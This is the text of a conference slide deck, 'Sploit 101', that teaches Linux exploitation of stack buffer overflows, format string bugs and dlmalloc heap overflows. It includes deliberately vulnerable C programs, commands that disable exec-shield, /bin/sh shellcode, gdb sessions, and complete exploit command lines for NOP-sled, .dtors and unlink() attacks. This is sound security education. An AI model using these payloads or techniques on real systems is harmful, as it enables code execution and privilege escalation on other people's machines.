Transcript Sploit 101 Buffer Overflows, Format Strings, Heap Overflows Simple Nomad n

Sploit 101
Buffer Overflows, Format Strings, Heap Overflows
Simple Nomad
nomad mobile research centre
Warning
• Very geeky presentation
• Assumes you are smart or willing to learn
• Extremely technical
– Questions are welcomed, but I will probably
skip over basics in lieu of time
Basics For Sploit Testing
• Linux
– GCC, NASM (if you roll your own shellcode, not covered in this
presentation), Perl, gdb, basic development tools
– Turn off exec-shield (e.g. Fedora Core 3)
• # echo “0” > /proc/sys/kernel/exec-shield
• # echo “0” > /proc/sys/kernel/exec-shield-randomize
• Windows (these are free)
– Microsoft C/C++ Optimizing Compiler and Linker
• http://msdn.microsoft.com/visualc/vctoolkit2003/
– Debugging Tools
• http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx
– Active Perl
• http://www.activestate.com/Products/ActivePerl/
• Note that this presentation covers only Linux, not Windows
The Buffer Overflow
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A buffer is defined with a fixed length
End user supplies the data to go into the buffer
More data than the buffer has allocated is supplied
Buffer is overflowed
If we can overwrite certain portions of the running program’s
memory space, we can possibly control the program flow
If we can control program flow, we can (possibly) execute our own
code
If the program is a network daemon we can remotely gain access
If the program is SUID root, we can potentially elevate privileges
If the program is a daemon running as root, we can potentially gain
remote root privileges
Example Vuln Program
• If called as ./overflow hello it runs fine
• If called as ./overflow `perl –e ‘print “A”x600’` it
segfaults due to an overflow of the buffer
// overflow.c
#include <stdio.h>
do_stuff(char *temp1) {
char name[400];
strcpy(name, temp1);
printf(“Subroutine output: %s\n”,name);
}
main(int argc,char * argv[]) {
do_stuff(argv[1]);
printf(“Main output: %s\n”,argv[1]);
}
Program Layout in Memory
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.text – Machine instructions
.data – Initialized variables, e.g. int a=0;
.bss – Uninitialized variables, e.g. int a;
Heap – dynamically allocated variables, grows in
size towards the stack
• Stack – tracks function calls recursively, grows in
size towards the heap
• Environment/Arguments – system-level
variables (e.g. PATH) and command-line
arguments given at runtime
Program Layout in Memory
.text
.data
.bss
heap
unused
stack
env
Important Stack Info - Registers
• General registers – 4 32-bit (EAX, EBX, ECX, EDX), 4 16-bit (AX,
BX, CX, DX), 8 8-bit (AH, BH, CH, DH, AL, BL, CL, DL)
• Segment registers – CS, SS, DS, ES, FS, GS
• Offset registers – EBP (extended base pointer), ESI (extended
source index), EDI (extended destination index), ESP (extended
stack pointer)
• Special registers – EFLAGS, EIP (extended instruction pointer)
• As exploiters of buffer overflows, we care most about EIP and ESP
• If we can overwrite EIP, we control the pointer to the next instruction
for the processor, i.e. program flow
• If we know the value of ESP, we know where the stack is in memory,
and have a reference on where to point EIP
• If we place our shellcode on the stack, we can point EIP to it using
our knowledge of ESP
• We can even cheat, and simply get close to our shellcode via a NOP
sled
Getting ESP
• This can be called individually, but in the case of
local privilege escalation, from within our exploit
program:
#include <stdio.h>
unsigned long get_sp(void) {
__asm__(“movl %esp, %eax”);
}
int main() {
printf(“Stack pointer (ESP):
0x%p\n”,get_sp());
}
Shellcode
• Assembly language instructions that typically
launch a shell
• Usually the tighter and smaller the code, the
better
• Many examples exist on the Internet
• If you have assembler skills, you can use NASM
and roll your own
– Resources exist on the Internet and in books in the
construction of shellcode, for both *nix and Windows
systems
Example of Shellcode (Aleph1)
char shellcode[] =
“\x31\xc0\x31\xdb\xb0\x17\xcd\x80”
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0”
“\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”
“\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
Using gdb To Find The Sweet
Spot
• Launch vuln program under gdb
– You can also attach to running processes as
well
• Run it while causing your segfault
• Examine the registers to check for
success
gdb In Action
$ gdb overflow
...<snip>
(gdb) run `perl -e 'print "A"x412'`
Starting program: /home/thegnome/Projects/dc214/overflow `perl –e 'print "A"x412'`
Subroutine output: AAAA...<snip>
Program received signal SIGSEGV, Segmentation fault.
0x00244151 in _dl_relocate_object_terminal () from /lib/ld-linux.so.2
(gdb) run `perl -e 'print "A"x416'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/thegnome/Projects/dc214/overflow `perl -e 'print "A"x416'`
Subroutine output: AAAA...<snip>
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg eip
eip
0x41414141
0x41414141
Pulling This All Together
./overflow `perl –e ‘print “\x90”x200’;``cat sc``perl –e ‘print “\xd8\xfb\xff\xbf”x89’;`
NOP Sled
Vulnerable Buffer
Shellcode
Repeated Addresses
EBP
EIP
Live Demo
Small Buffer
• What if the buffer is really small? How do
you exploit that?
// overflow2.c
int main(int argc, char * argv[]) {
char buff[5];
strcpy(buff, argv[1]);
return 0;
}
Use An ENV Variable
• Put shellcode in an environment variable
• Compute return address: 0xbffffffa strlen(shellcode) - strlen(<vuln prog
name>) to get address for EIP
• Overflow buffer with the computed return
address
Small Buffer Layout
Formula:
Overwrite EIP = 0xbffffffa - length of shellcode - length of vulnerable program name
0xbffffffa
Stack
Args/Env
Shellcode
Address of shellcode
Prog name
4 bytes
of Null
0xbfffffff
Live Demo
Remote Exploits
• Usually unable to determine ESP on the remote
system
– Educated guess by compiling/testing remotely
– If daemon is a part of a binary package (rpm or deb, for
example) debug your own copy of the daemon first
– Brute force it (ugly and noisy)
• If you have the source code, compile it yourself (with
the -ggdb option set for better debugging)
– Try to compile it with the same options as an rpm or deb you
wish to exploit, that way you can get all the values such as
ESP and the proper size of the payload correct
– Test with an rpm or deb package, until you get it right
Example Vulnerable Remote
Program
// nmrcd.c
#include <stdio.h>
#include <string.h>
#include <ctype.h>
int stuff(char *tmp) {
char buf2[1024];
strcpy(buf2,tmp);
return(0);
}
int main(int argc,char **argv) {
char buf[4096];
gets[buf];
stuff(buf);
return(0);
}
Assuming You Have Source
• Build a program to connect and send test data
– e.g. it should send “A”s for you to determine the proper size of exploit to
overwrite EIP
• Run daemon
– Compile with -ggdb switch for debugging
• Run test data program in gdb with a breakpoint set after connection
and right before the data is sent
• Find daemon on target, and attach gdb by PID number
• Do a continue with the daemon, and then a continue with the test
data program
• Check registers on the daemon, and repeat increasing size until you
know ESP and a good size for overflowing
• Now construct your exploit
– In the demo, the exploit code uses different shellcode that binds a shell
to port 4444
Live Demo
Format String Exploit
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The printf command outputs to stdout (usually the screen)
The output can be manipulated by supplying formatted output of
variables via tokens such as %s or %d:
char *var[1000];
var = “text”;
printf(“The string contains %s\n”,var);
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This is legal per POSIX as well, albeit vulnerable:
char *var[1000];
var = argv[1];
printf(var);
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What if our input (argv[1]) contained format strings like %08x or %s or
%n?
The %s goes to stdout, but %n writes data back to the variable
If there is no variable to output to stdout, the contents of the stack are
sent to stdout, so %n will allow us to write to arbitrary memory locations
Vulnerable Format String Code
// fmtstr.c
#include <stdlib.h>
int main(int argc,char *argv[]) {
static int dc214=0;
char temp[2048];
strcpy(temp,argv[1]);
printf(temp);
printf(“\n”);
printf(“dc214 at 0x%08x =
0x%08x\n”,&dc214,dc214);
}
Steps For Format String
Exploitation
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Map out the stack
Read arbitrary memory locations
Writing to arbitrary memory
.dtors
Pull it all together for an exploit
Stack Mapping
• ./fmtstr “AAAA %08x %08x %08x %08x”
Reading Memory Locations
• ./fmtstr “AAAA %08x %08x %08x %s”
• ./fmtstr `perl -e ‘print “<real
address>”’`“%08x %08x %08x %s”
• ./fmtstr `printf “\x87\xfb\xff\xbf”`“ %4\$s”
Writing To Memory
Assuming our shellcode is 0xbffffed5, HOB is 0xbfff and LOB is 0xfed5,
and that the target address is 0x080495bc
HOB < LOB
LOB < HOB
[addr+2][addr]
[addr+2][addr]
%.[HOB-8]x
%.[LOB-8]x
Using examples
from above
\xbe\x95\x04\x08\x
bc\x95\x04\x08
%.49143x
%[offset]$hn
%[offset+1]$hn
%4\$hn
%[LOB - HOB]x
%[HOB - LOB]x
%.16086x
%[offset+1]$hn
%[offset]$hn
%5\$hn
./fmtstr `printf “\xe6\x95\x04\x08\xe4\x95\x04\x08”`%.49143x%4\$hn%.16086x%5\$hn
.dtors
• DTOR aka the Destructor section of the
code is called at exit of a program, all elf32
file format programs have them
• If you can insert the shellcode address into
.dtors, you can get your shellcode to
execute
• nm ./fmtstr | grep DTOR
• objdump -s -j .dtors ./fmtstr
Computing .dtors Location
$ nm ./fmtstr | grep DTOR
080495bc d __DTOR_END__
080495b8 d __DTOR_LIST__
$ objdump -s -j .dtors ./fmtstr
./fmtstr:
file format elf32-i386
Contents of section .dtors:
80495b8 ffffffff 00000000
$
........
• Address location for our jump to shellcode
should be 4 bytes past the DTOR_LIST
• Target address using example above is
0x080495bc
./fmtstr `printf “\xbe\x95\x04\x08\xbc\x95\x04\x08”`%.49143x$4\$hn%.16086x%5\$hn
Live Demo
Heap Overflow – Simple Example
char *buf1 = malloc(20);
char *buf2 = malloc(10);
…
strcpy(buf1,argv[1]);
…
// perform security check and store the results in
// buf2
while(strlen(buf2) < 1) {
….
} // end of while security check loop
if(!strcmp(buf2,“PASSED”))
exit(0);
else { // continue doing stuff only if we passed
// security check
./bad_heap_example `perl -e ‘print “A”x28’`PASSED
Heap Overflow – Realistic
Example
• Malloc
– We are discussing dlmalloc (Linux uses this)
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Bins
dlmalloc
free() behavior
unlink()
Malloc
struct malloc_chunk {
size_t prev_size;
size_t size;
struct malloc_chunk;
struct malloc_chunk;
}
Usage of the fields depends on whether the chunk is allocated or free
Malloc
Allocated
Chunk
Size of
previous
chunk
Top of heap
Size of
this
chunk
chunk
Data
Size of
this
chunk
Free
Chunk
forward backward
pointer
pointer
Bottom of heap
Bins
• The list of chunks is known as a bin
• There are 128 bins
• Small lists of chunks are located in the first
64 bins, larger in the rest
• The “wilderness” is the top-most free
chunk, and is not maintained in a bin
• The remainder of the most recently split
chunk is also not maintained in a bin
dlmalloc Functions
• malloc() – allocates memory (in chunks),
important in this example
• calloc() – allocates memory and fills it with
zeros
• realloc() – reallocates memory
• free() – returns memory for future
reallocation, important in this example
free() Behavior
• The chunk boundary tags are changed and the
chunk is inserted into the appropriate bin via
frontlink()
• If the adjacent chunk in the new bin is not free,
frontlink() is called
• If next to the wilderness, chunk is added to the
wilderness
• If the adjacent chunk is free and it is the most
recently split chunk, it is merged in, otherwise
the two free chunks are merged and fed in via
frontlink()
unlink()
• When merging two adjacent free chunks, the
already free chunk has to be unlinked from its
current bin via unlink()
• A heap overflow allows you to overwrite the next
chunk, so the trick is to get unlink() to wrongfully
forward coalescing memory
• The unlink() attack is to poison the pointers and
insert a fake chunk, then call free(), overwriting a
memory location of our choosing
Vulnerable Heap Overflow Code
// heap.c
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[] {
char *buf1 = malloc(300);
char *buf2 = malloc(20);
strcpy(buf1, argv[1]);
free(buf1);
free(buf2);
return 0;
}
We Need Two Values
• The first value is the location of free() since we
are going to overwrite it
$ objdump –R ./heap | grep free
08049548 R_386_JUMP_SLOT
free
• The second value is the location of buf1
$ ltrace ./heap 2>&1 | grep 300
malloc(300)
= 0x08049560
Side note: we could also overwrite .dtors, use
an environment variable for shell code if we are
tight on space, etc etc - just like in the buffer
overflow or the format string examples from
earlier
What to Inject
• Part 1: 8 bytes of junk
– Overwritten by the first free() when it adds a prev_size
and size field before the chunk is added to the bins
• Part 2: \xeb\x0c
– Assembler for jumping ahead 12 bytes
• Part 3: 12 bytes of junk to be jumped over
• Part 4: Shellcode
• Part 5: Filler to fill up first buffer within 4 bytes of
the end of the buffer
What to Inject
• Part 6: Negative number with least
significant bit 0 (0xfffffff0)
• Part 7: Negative 4 (0xfffffffc)
– This will become the size byte of the second
chunk, saying essentially that the third chunk
starts 4 bytes earlier. Since the LSB is 0, the
second chunk is free and needs to be
unlinked
What to Inject
• Part 8: The memory location we wish to overwrite, -2
– This becomes the new second chunk’s forward pointer
– The value we put there is the location of the free() function call12
– From our example 0x08049548 – 0xc
• Part 9: The value to overwrite
– This becomes the new second chunk’s backward pointer
– This points to our shellcode
– From our example this is 0x08049560
• Part 10: NULL terminate the string (\x0)
Live Demo
Finding The Bugs To Sploit
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Odd crashes from input
Fuzzing input with AAAA’s, “%08x %s”, etc
Source code analysis
Reported bugs with no exploits
– Great place to practice
– Start with security advisories that give
technical details
Questions?
• Further reading
– “Gray Hat Hacking”, Shon Harris et al.,
McGraw-Hill/Osborne
– “Hacking: The Art of Exploitation”, Jon
Erickson, No Starch Press
– “The Shellcoder’s Handbook”, Koziol et al.,
Wiley Publishing
./nmrc -sS -T Paranoid *.gov
See you in Vegas for BH/DC!